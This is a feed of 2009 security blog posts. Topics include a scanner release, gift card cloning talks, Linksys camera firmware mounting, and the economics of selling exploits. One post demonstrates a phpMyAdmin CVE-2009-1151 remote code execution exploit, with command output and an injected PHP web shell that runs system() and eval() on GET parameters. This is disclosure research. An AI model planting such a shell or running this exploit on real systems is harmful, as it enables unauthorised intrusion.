<p>These tools are not unfamiliar to modern day penetration testers. In fact, there are plenty of them to choose from, ranging from low-grade command line utilities to high-end frameworks. There are plenty of commercial tools as well some of which are a lot better, in terms of features and false-positives rate, when compared to open source alternatives. People often choose what they are more familiar with. I prefer to use tools that are right for the job without discriminating a particular operating system, platform, and style.</p>

<p>Without further ado, I would like to introduce to you yet another tool to compete in the market of automated web application security scanners (not only), released as part of our own <a rel="nofollow" target="_blank" href="http://www.websecurify.com">Websecurify</a> initiative. The tools is called Websecurify (big surprise) and it is written on the top of common web technologies, which provide significant benefit over other technologies used in open source and commercial alternative products.</p>

<p>Here are some of the key features of Websecurify:</p>

<ol>
<li>It is 100% open source, GPL, CC product, ready to benefit the open source movement</li>
<li>The engine employs technologies, such as Web Workers, from the latest HTML5 specs</li>
<li>Most of the code is written in JavaScript but many parts can be rewritten or extended with Python, Java and C</li>
<li>The core engine can be taken out from the binary bundles and used as part of self-defending web applications. I will talk about this soon.</li>
<li>The testing and reporting mechanisms are asynchronous. This means that the report is cooking while the test is performed. It also means that decisions are taken immediately, i.e. they are not scheduled.</li>
<li>The tool is cross-platformed thanks to xulrunner</li>
<li>Everything is written with extensibility in mind</li>
<li>It can be extended in pretty much the same way you can extend Firefox and Thunderbird</li>
</ol>

<p>There are many other features, which I am going to talk about soon.</p>

<p>At the moment the tool is only available as a MacOS DMG package and source code. The Windows and Linux versions will be released soon. In the future we are planning release all platform specific packages at the same time. Now is just an exception as we are mostly interested to get an early feedback. I am sure that that there will be a lot of bugs to fix and features to add/improve before we reach version 1.0.</p>

<p>Version 0.2 can be downloaded from <a rel="nofollow" target="_blank" href="http://www.websecurify.com">www.websecurify.com</a> or our <a rel="nofollow" target="_blank" href="http://code.google.com/p/websecurify/">source code repository</a>.</p>

<p><em>If you have any feedback or you would like to contribute to this project, please do let us know. We can use any help possible.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/YE55z5NLzgE" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Of Sec Cons and Magstripe Gift Cards</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/yiuUen9-FhI/</link>
         <description>I&amp;#8217;ve been meaning to talk about CONFidence and EUSecWest for quite a while, but May was such an intense month for me, that&amp;#8217;s hardly left me with any time for other things. I eventually got caught up with other matters, which resulted in me publishing this post about 2 months late.

I&amp;#8217;ve been researching, pentesting, and preparing two different presentations which I gave at CONFidence in Krakow, and EUSecWest in London. pdp has also been busy presenting at AusCERT2009. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3280</guid>
         <pubDate>Wed, 22 Jul 2009 09:53:54 +0000</pubDate>
         <content:encoded><![CDATA[<p>I&#8217;ve been meaning to talk about <a rel="nofollow" target="_blank" href="http://2009.confidence.org.pl/lang-pref/en/">CONFidence</a> and <a rel="nofollow" target="_blank" href="http://eusecwest.com/">EUSecWest</a> for quite a while, but May was such an intense month for me, that&#8217;s hardly left me with any time for other things. I eventually got caught up with other matters, which resulted in me publishing this post about 2 months late.</p>

<p>I&#8217;ve been researching, pentesting, and preparing two different presentations which I gave at <a rel="nofollow" target="_blank" href="http://2009.confidence.org.pl/prelegenci/adrian-pastor">CONFidence</a> in Krakow, and <a rel="nofollow" target="_blank" href="http://eusecwest.com/agenda.html">EUSecWest</a> in London. pdp has also been busy presenting at <a rel="nofollow" target="_blank" href="http://conference.auscert.org.au/conf2009/presenter.php?presenter_id=P_P">AusCERT2009</a>. In his Weaponry 2.0, pdp talked about current challenges experienced by pentesters, shared some of his experiments (i.e.: using QEMU) and introduced his <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/jeriko-group-and-source-code-repository/">Jeriko</a> pentesting environment (NOT framework!).</p>

<p>My CONFidence presentation was on PCI DSS, and credit card theft from a pentester&#8217;s perspective. I attempted to explain why it&#8217;s possible for unsophisticated criminals to compromise credit card data. I also shared my frustrations with the PCI DSS standards, including some of its current weaknesses.</p>

<p>On the other hand, my EUSecWest presentation was on attacking magstripes gift cards, which apppear to be on the rise in the UK. The core of the research is about <em>cloning (activated) gift cards without physically swiping the magnetic stripes.</em> Trust me when I say that there is a lot of truth on <a rel="nofollow" target="_blank" href="http://twitter.com/dragosr/status/1949951235">Drago&#8217;s</a> tweet regarding this research! My EUSecWest slides have just been recently <a rel="nofollow" target="_blank" href="http://research.corsaire.com/presentations/">published</a>. More details will soon be available on a white paper which will be available on <a rel="nofollow" target="_blank" href="http://research.corsaire.com/">Corsaire Research</a> website.</p>

<h3>Thanks</h3>

<p>I&#8217;d like to thank the organizers of these two great conferences, namely Andrzej Targosz from CONFidence and <a rel="nofollow" target="_blank" href="http://twitter.com/dragosr">Dragos Ruiu</a> from EUSecWest (plus their respective crews of course).</p>

<p>Also, special thanks to <a rel="nofollow" target="_blank" href="http://www.corsaire.com/">Corsaire</a> who sponsored the time needed to prepare my presentation. I originally started my magstripe gift cards research about 3 years ago, but left it unattended for so long. If it wasn&#8217;t for Corsaire, this research wouldn&#8217;t have been resumed.</p>

<p><em>Finally, but not least, thanks to everyone who helped me prepare my presentations such as Jan Fry, Amir Azam, pavlovs_dog, Monsy Carlo, etc.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/yiuUen9-FhI" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>CVE-2009-1151: phpMyAdmin Remote Code Execution Proof of Concept</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/MbrBV_cxDIg/</link>
         <description>I couldn&amp;#8217;t find any public PoC/exploit for this phpMyAdmin vulnerability, despite it being a serious bug affecting a popular open-source project. I think this vulnerability is a nice reminder that it&amp;#8217;s still possible to perform remote command execution these days without relying on SQL injection (i.e.: xp_cmdshell) or a memory corruption bug (i.e.: heap overflow). [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3254</guid>
         <pubDate>Tue, 09 Jun 2009 19:03:13 +0000</pubDate>
         <content:encoded><![CDATA[<p>I couldn&#8217;t find any public PoC/exploit for this <a rel="nofollow" target="_blank" href="http://www.phpmyadmin.net/home_page/index.php">phpMyAdmin</a> vulnerability, despite it being a serious bug affecting a popular open-source project. I think this vulnerability is a nice reminder that it&#8217;s still possible to perform remote command execution these days without relying on SQL injection (i.e.: <code>xp_cmdshell</code>) or a memory corruption bug (i.e.: heap overflow).</p>

<blockquote>All the documentation you need is in the script comments. I recommend you to go through it, before you actually run the script.</blockquote>

<p>After reading the public <a rel="nofollow" target="_blank" href="http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php">advisory</a> and patched code, and playing around for a while, I managed to have a working PoC bash script. The script will allow you to remotely run shell commands and PHP code against vulnerable targets. Although in principle the vulnerability sounds quite simple, it actually took me a while to go from <a rel="nofollow" target="_blank" href="http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php">advisory</a> to working attack code.</p>

<p><em>I&#8217;m providing the script with the hope that it will help pentesters and security researchers. Please only test the script against your own systems, or systems you have been given permission to pentest! Don&#8217;t be evil, it&#8217;s not worth it.</em></p>

<h3>Demo</h3>

<pre><code>$ ./phpMyAdminRCE.sh
usage: ./phpMyAdminRCE.sh 
i.e.: ./phpMyAdminRCE.sh http://target.tld/phpMyAdmin/

$ ./phpMyAdminRCE.sh http://172.16.211.10/phpMyAdmin-3.0.1.1/
[+] checking if phpMyAdmin exists on URL provided ...
[+] phpMyAdmin cookie and form token received successfully. Good!
[+] attempting to inject phpinfo() ...
[+] success! phpinfo() injected successfully! output saved on /tmp/phpMyAdminRCE.sh.9217.phpinfo.flag.html
[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:

http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/


http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?p=phpinfo();

    please send any feedback/improvements for this script to unknown.pentester gmail.com

$ curl "http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/"
total 96
drwxr-xr-x   2 root   root  4096 Mar 11 10:12 bin
drwxr-xr-x   3 root   root  4096 May  6 10:01 boot
lrwxrwxrwx   1 root   root    11 Oct 12  2008 cdrom -&gt; media/cdrom
drwxr-xr-x  15 root   root 14300 Jun  5 09:02 dev
drwxr-xr-x 147 root   root 12288 Jun  5 09:02 etc
drwxr-xr-x   3 root   root  4096 Oct 18  2008 home
drwxr-xr-x   2 root   root  4096 Jul  2  2008 initrd
<em>[partial output removed for brevity reasons]</em></code></pre>

<p>Contents of <code>/config/config.inc.php</code> after our evil code has been successfully injected (injected code shown in <strong>bold</strong>):</p>

<pre><code>&lt;?php
/*
 * Generated configuration file
 * Generated by: phpMyAdmin 3.0.1.1 setup script by Michal ÄŒihaÅ™ &lt;michal@cihar.com&gt;
 * Version: $Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
 * Date: Tue, 09 Jun 2009 14:13:34 GMT
 */

/* Servers configuration */
$i = 0;

/* Server  (config:root) [1] */
$i++;
$cfg[&apos;Servers&apos;][$i][&apos;host&apos;]=&apos;<strong>&apos;; if($_GET[&apos;c&apos;]){echo
&apos;&lt;pre&gt;&apos;;system($_GET[&apos;c&apos;]);echo &apos;&lt;/pre&gt;&apos;;}if($_GET[&apos;p&apos;]){echo
&apos;&lt;pre&gt;&apos;;eval($_GET[&apos;p&apos;]);echo &apos;&lt;/pre&gt;&apos;;};//</strong>&apos;] = &apos;localhost&apos;;
$cfg[&apos;Servers&apos;][$i][&apos;extension&apos;] = &apos;mysqli&apos;;
$cfg[&apos;Servers&apos;][$i][&apos;connect_type&apos;] = &apos;tcp&apos;;
$cfg[&apos;Servers&apos;][$i][&apos;compress&apos;] = false;
$cfg[&apos;Servers&apos;][$i][&apos;auth_type&apos;] = &apos;config&apos;;
$cfg[&apos;Servers&apos;][$i][&apos;user&apos;] = &apos;root&apos;;

/* End of servers configuration */

?&gt;</code></pre>

<h3>Thanks</h3>

<p><em>I&#8217;d like to thank <a rel="nofollow" target="_blank" href="http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/">Greg Ose</a> for discovering such a cool vuln and doing a nice writeup about the technical details! Also big thanks to <a rel="nofollow" target="_blank" href="http://www.milw0rm.com/">str0ke</a> for testing this PoC script and providing such useful feedback!</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/MbrBV_cxDIg" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Hacking Linksys IP Cameras (pt 5)</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/i5HZCjdXt3I/</link>
         <description>This article is a continuation of the following GNUCITIZEN articles: Hacking Linksys IP Cameras (pt 1), Hacking Linksys IP Cameras (pt 2), Hacking Linksys IP Cameras (pt 3), Hacking Linksys IP Cameras (pt 4).

Mounting the filesystem on your workstation

There are many ways to mount the camera&amp;#8217;s filesystem using the firmware binary. In this post, we&amp;#8217;ll explain one way to mount firmware version v1.00R24 which is the latest available for the WVC54GCA model. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3229</guid>
         <pubDate>Fri, 05 Jun 2009 08:04:55 +0000</pubDate>
         <content:encoded><![CDATA[<p><em>This article is a continuation of the following GNUCITIZEN articles: <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">Hacking Linksys IP Cameras (pt 1)</a>, <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/">Hacking Linksys IP Cameras (pt 2)</a>, <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/">Hacking Linksys IP Cameras (pt 3)</a>, <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-4/">Hacking Linksys IP Cameras (pt 4)</a>.</em></p>

<h3>Mounting the filesystem on your workstation</h3>

<p>There are many ways to mount the camera&#8217;s filesystem using the firmware binary. In this post, we&#8217;ll explain one way to mount firmware version v1.00R24 which is the latest available for the WVC54GCA model.</p>

<p>If you were to only use the firmware binary, things could be a bit difficult, as you don&#8217;t know the format of the binary at all. However, having the GPL firmware helps a lot as we&#8217;ll see next. I emailed Linksys back on Apr 23, 2009 informing them that although the GPL firmware was available on their site for other Linksys products, they hadn&#8217;t uploaded the one for the WVC54GCA camera. A few days later, on Apr 27, 2009, Linksys kindly made it available and <a rel="nofollow" target="_blank" href="http://www.linksysbycisco.com/US/en/supportgplcode">has been available</a> ever since (the file to download is <code>wvc54gca_v1.00R24.tgz</code>).</p>

<p>Thanks to <a rel="nofollow" target="_blank" href="http://brooknet.no-ip.com/~lex/">Lex Landa</a>&#8216;s tips I was able to figure out the parameters required to mount the firmware binary, by analysing the data contained in the <code>./scripts/wvc54gc_usa_english/combine.cfg</code> file which is included with the <a rel="nofollow" target="_blank" href="http://downloads.linksysbycisco.com/downloads/wvc54gca_v1.00R24,5.tgz">GPL firmware</a>:</p>

<pre><code>size = 00400000
file = WVC54GCA.bin
f1_name = loader
f1_start = 00000000
f2_name=loader.ver
f2_start=00007FFE
f3_name=<strong>kernel</strong>
f3_start=<strong>00020000</strong>
f4_name=<strong>filesystem</strong>
f4_start=<strong>000E0000</strong>
f5_name=PID
f5_start=003FFFB2</code></pre>

<p>I simply focused on the <code>kernel</code> and <code>filesystem</code> parameters. The previous settings show that then kernel starts at <code>0x20000</code> (131072 bytes / 128 KB), and the filesystem starts at <code>0xE0000</code> (917504 bytes / 896 KB). In order to start <a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/Dd_(Unix)">dd</a> reading at <code>0xE0000</code>, we need to keep 7 chunks of 131072 bytes. i.e.:<code>7*131072=917504 bytes=0xE0000</code> (the position we want)</p>

<pre><code>$ dd if=DYFF08-402-1024.bin bs=<strong>131072</strong> of=fs.img skip=<strong>7</strong>
25+0 records in
25+0 records out
3276800 bytes (3.3 MB) copied, 0.019424 s, 169 MB/s</code></pre>

<p>We then verify that our image file is a valid <code>squashfs</code> filesystem:</p>

<pre><code>$ file fs.img 
fs.img:<strong> Squashfs</strong> filesystem, little endian, version 3.0, 2216311 bytes, 475 inodes, blocksize: 65536 bytes, created: Fri Nov  9 03:58:52 2007</code></pre>

<p>A finally mount it on our hardrive:</p>

<pre><code>$ sudo mkdir /mnt/test
$ sudo mount -t <strong>squashfs</strong> fs.img /mnt/test -o ro,loop
$ ls /mnt/test/
bin  dev  etc  lib  mnt  proc  root  sbin  tmp  usr  var</code></pre><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/i5HZCjdXt3I" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Breaking Into a Home With an iPhone</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/0BDN8BPqizg/</link>
         <description>This is going to be one of these quick posts which just makes you think what the information security landscape will be like in 5 years. Before I move on with my commentary, here is a video which is essential for you to watch.



Got the idea? No? Let me explain. What you see in the video above is an application for the iPhone which gives you detailed characteristics of properties (houses) in USA. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3211</guid>
         <pubDate>Mon, 11 May 2009 11:27:16 +0000</pubDate>
         <content:encoded><![CDATA[<p>This is going to be one of these quick posts which just makes you think what the information security landscape will be like in 5 years. Before I move on with my commentary, here is a video which is essential for you to watch.</p>

<div class="screen"><embed src="http://www.youtube.com/v/rJfrdcbfXsc&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" width="560" height="340"></iframe></div> 

<p>Got the idea? No? Let me explain. What you see in the video above is an application for the iPhone which gives you detailed characteristics of properties (houses) in USA. You can either search the map or just use your GPS coordinates to get information such as price of the house, number of floors, number of rooms, pictures taken from inside the house if the house was part of any register (letting agencies etc.) before you moved in, and other interesting information.</p>

<p>This is the kind of information gathering you see only in the movies. I won&#8217;t be surprised if future versions of these kind of applications can pool even essential blueprints which show not only how the house was constructed from architectural point of view but also show the power and gas grids and perhaps even any other wiring such as telephone, coaxial, etc.</p>

<p>All of this information is also available through easily accessible APIs. Perhaps these APIs are not publicly known but anyone who can run a sniffer most certainly can get hold of the URLs and their formats. Now mash this APIs with any other tool such as one that correlates IP address to physical location (not very accurate btw) or better yet a wardriving tool and you have a infowar machine in your pocket that will make any criminal organization proud of.</p>

<p>This was the main purpose of my <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/for-my-next-trick-hacking-web20/">Web2.0 talk/research</a> from two years ago. Back then I made a very simple analogy which I would like to bring once again. When the email was invented nobody even suspected that it will be used for things such as spam and malware. That was something unimaginable. Today spam is the fastest growing criminal industry and malware delivered over email is the most successful one. In summary, we cannot foresee how a technology will be used/abused. That depends on the imagination of the people.</p>

<p>The same goes for the Web2.0 meme. The more we use it, the more ways we will find to abuse it. However it is also important to say that the more we use it the more accustomed we will become to it. Therefore, when the shit hits the fan there will be very little that we can do.</p>

<p><em>The reason I am bringing this up is not because I would like to start even more FUD around the Web2.0 mem but it is time for us to stop looking into the technical aspects and start thinking in terms of technologies that affect normal people. Sometimes, we just lack the realism and we fail to spot the obvious problems.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/0BDN8BPqizg" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Extensions at War</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/V3taPIIsstw/</link>
         <description>Oh yes, the digital battlefield is taking unusual shapes. The latest manifestation of cyber warfare is a conflict between the Adblock Plus and the NoScript extensions. The story goes that NoScript used some JavaScript tactics and, of course, some obfuscations in order to cripple the Adblock Plus functionalities. This attack was a response to Adblock Plus blocking NoScript ads which you see when you upgrade the extension, which as you know happens quite regularly, don&amp;#8217;t know why. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3171</guid>
         <pubDate>Sun, 03 May 2009 08:37:28 +0000</pubDate>
         <content:encoded><![CDATA[<p>Oh yes, the digital battlefield is taking unusual shapes. The latest manifestation of cyber warfare is a conflict between the Adblock Plus and the NoScript extensions. The <a rel="nofollow" target="_blank" href="http://adblockplus.org/blog/attention-noscript-users">story goes</a> that NoScript used some JavaScript tactics and, of course, some obfuscations in order to cripple the Adblock Plus functionalities. This attack was a response to Adblock Plus blocking NoScript ads which you see when you upgrade the extension, which as you know happens quite regularly, don&#8217;t know why.</p>

<p>The conflict seems to be resolved now to one degree or another but it is interesting to observe the whole situation and also draw important conclusions. Therefore, I&#8217;ve got several points I would like to bring to the table:</p>

<ol>
<li>More examples of similar nature will follow. Keep an eye on Facebook, Apple AppStore, Firefox and other platforms that allow 3rd-party components to be displayed, downloaded and executed.</li>
<li><a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/firefox-malware/">As I mentioned before</a>, a malicious piece of JavaScript code (even an obvious obfuscation) can be quite easily smuggled into harmlessly looking Firefox extensions. If I may speculate, the situation is the same for other similar platforms.</li>
<li>Unless platform vendors do something about it, they could become the next hot spot for all sorts of interesting malware.</li>
</ol>

<p><em>It is also very interesting to see the extend to which extension developers will go in order to protect their userbase. After all, larger userbase equals more money. And with <a rel="nofollow" target="_blank" href="http://blog.trailofbits.com/2009/03/22/no-more-free-bugs/">more people looking to quickly cache in</a>, the battlefield is truly changing for better or worse.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/V3taPIIsstw" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Exploit Sweatshop</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/rELeF2i51BY/</link>
         <description>When I was playing/introducing the partial disclosure practice an year and something ago, I did get contacted by numerous dodgy characters willing to buy yet undisclosed vulnerabilities for substantial amount of money. Of course, requests of that nature were kindly ignored. I couldn&amp;#8217;t believe that someone was willing to give me so much money for something I virtually spent 2-3 hours maximum to produce. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3141</guid>
         <pubDate>Thu, 30 Apr 2009 12:04:47 +0000</pubDate>
         <content:encoded><![CDATA[<p>When I was playing/introducing the partial disclosure practice an year and something ago, I did get contacted by numerous dodgy characters willing to buy yet undisclosed vulnerabilities for substantial amount of money. Of course, requests of that nature were kindly ignored. I couldn&#8217;t believe that someone was willing to give me so much money for something I virtually spent 2-3 hours maximum to produce.</p>

<p>Later on, during the CONFidence 2008 event in Krakow I met a bunch of people who claimed that they already sell exploits to various UK companies and the figures that they were making were outstanding. To give you a clue, given the pound dollar difference at that time, you could have made 6 times more than what ZDI and other similar programs can offer you for a top range exploit. This is already better than a top salary in UK.</p>

<p>Same year, different event&#8230;  I saw an interesting presentation by Robert McArdle from Trend Micro. The presentation was titled <q>Fighting web Based, Profit-Driven Threats</q>. On one of his slides, Robert commented that <q>cybercrime is becoming more profitable than the drug cartels</q>. Perhaps you wont be able to make as much money from carding as you might expect but you can do quite well selling visualized stuff, such as exploits and exploit toolkits.</p>

<p>Present times, DojoSec Monthly Briefings&#8230; Matthew Watchinski from Sourcefire VRT <a rel="nofollow" target="_blank" href="http://vimeo.com/4110571">talked</a> about a PDF 0day spreading around Xmas time. The exploit took a couple of good months for Adobe to fix it. The author sold it for 75K to a unknown 3rd-party in China according to Matthew. The vulnerability was also relatively easy to find and required very little experience to exploit.</p>

<p>All of this leads to the very obvious conclusion which is that at present times cybercrime is a flourishing industry. Soon, there will be even more recruits coming to join the dark-side forces of the cybercrime cartels. They will do it for the money!</p>

<blockquote>No more free bugs you say? I say that <strong>you</strong> are leading people to become the next generation of cyber menace. Perhaps you forgot that the information security community was built on and thrived because of a simple but fundamental principle: knowledge must be free.</blockquote>

<h3>Sell The Bugs</h3>

<p>Regardless how good these figures may sound to you, you need to take a step back and think really well what you are getting into. Here are a few points that you need to consider before selling exploits:</p>

<ul>
<li><strong>Cybercrime is not a joke</strong> &#8211; If you get caught selling exploits to a dodgy 3rd-party you may end up with a prison sentence longer than the sentence of a child molester. If you live in US or UK you could be charged and treated as a terrorist which will completely destroy not only your life but the life of your closes people.</li>
<li><strong>TAX man problems</strong> &#8211; Oh Yes! Unjustifiable incomes could get you in trouble with the TAX man. The TAX man will hunt you and hurt you.</li>
<li><strong>Broken legs and other broken parts of the body</strong> &#8211; You have no idea to whom you are selling to. Tomorrow you may wake up with broken legs and twice as poorer as the day before.</li>
<li><strong>Even worse</strong> &#8211; People will kill for a lot less than 75K. Keep that in mind.</li>
</ul>

<p>In my humble opinion, exploit brokerage is a risky business. There is an unquantifiable risk associated with this practice and that is only due to the high price of exploits which are sold today.</p>

<h3>Exploit Sweatshop</h3>

<p>Nevertheless, it is just silly to believe that no one is producing and selling exploits in a large scale. Do you remember the numerous gaming sweatshops which sprung up like wild mushrooms after the recent heavy rains in 3rd-world countries? I recall seeing a documentary on a typical day in a Chinese WoW sweatshop. I remember I saw a room full of almost naked people, numerous PCs hooked up into a gigantic DIY network spreading across the entire floor. Most of the WoW accounts were fully automated, running from virtualized platforms.</p>

<p>The aim was simple: <strong>a)</strong> develop many characters in a semi-automated fashion by killing small animals and other things around the WoW world and <strong>b)</strong> sell the characters plus other artifacts to western buyers for a substantial amount of money. All of this can be achieved for as little as $70 a month per person. This is a remarkable business model which works extremely well.</p>

<p>Similarly, all you need is a bunch of programmers from India, China, or Eastern Europe to code up fuzzers and run them against as many software products as possible. At the end of the day memory corruption exploits a relative easy to detect. All you need is a crash caused by putting far too many 0&#215;41 in a buffer. The crash is already an indication that something is wrong. It requires a bit of manual work to figure out whether the crash is exploitable. From personal experience, and by looking into the work of my peers, it takes approximately 10 days to develop a crash into an exploit. Most of the times, the exploitability factor of a crash is apparent and therefore no time needs to be wasted. Other times, a crash can be archived for future investigation when it could become exploitable given it meets the necessary conditions.</p>

<p>Perhaps you can do all that by paying someone as little as $70 a month as it is the case with WoW sweatshops. That is 3 times less than what I am paying for just hosting. Therefore, I most certainly can afford to hire 3-4 people right now and even double their salaries, but let&#8217;s do the maths:</p>

<pre><code># average exploit price: <strong>$5000</strong>
# number of people to hire: <strong>5</strong>
# average monthly salary: <strong>$100</strong>
# job specs: <strong>write fuzzers</strong>

5 * 100 = $500 # a month expenses
5000 / 500 = 10 # months worth of work</code></pre>

<p>Heck, I can even put this bill on my credit card and pay as little as $50 a month. The chances that I will sell an exploit for $5K in the next 10 months are pretty high. $5K is only if I go with a legitimate company. I can probably make 6 times more by selling it to a dodgy 3rd-party. The only thing I need to worry about is the risk.</p>

<h3>Some Final Words</h3>

<p>Finally, I know that a lot of people are into the security business because of all the romanticism and the myths surrounding the <q>hacker</q> figure. Things look different once you become the hacker and your day job and lifestyle are surrounded by hacking and breaking into systems of any sort. There is nothing romantic about it.</p>

